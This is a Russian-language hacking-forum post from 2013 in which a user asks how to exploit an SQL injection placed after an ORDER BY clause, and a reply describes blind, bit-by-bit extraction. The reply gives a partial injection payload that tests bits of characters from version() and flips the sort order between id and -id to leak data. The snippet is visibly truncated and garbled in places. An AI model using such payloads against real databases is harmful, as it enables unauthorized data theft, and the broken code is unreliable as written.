
29.11.2013, 10:10
|
|
Постоянный
Регистрация: 30.05.2012
Сообщений: 600
С нами:
7343606
Репутация:
652
|
|
Сообщение от [R
eD"]
[R]eD said:
Есть иньекция вида:
Код:
SELECT * FROM `data` WHERE name = 'test' ORDER BY id {SQL-INJ}
Как сделать правильно? Или после конструкции ORDER нельзя уже ничего сделать?
Дополню ответ, который дал UXOR(может кому будет полезно):
Для эксплуатации инъекций применяется слепой метод:
Бинарный поиск всем знаком. Для того, чтобы вытащить 1 символ, нам необходимо послать 8 запросов.
Код:
SELECT if(ascii(substr(version(),1,1)) 0,
# pow - возведение 2 в степень для получения необходимого числа:
# 2^0 = 1 = 00000001
# 2^1 = 2 = 00000010
# 2^2 = 4 = 00000100
# Так-же для этих целий можно использовать побитовый сдвиг
# он и короче, но символы могут фильтроваться
# (Выше они используются для упрощения)
# 1 > (SELECT 1) = 2
id, -id
))), 1000) LIMIT 9;
Так, что есть пища для размышления.
|
|
|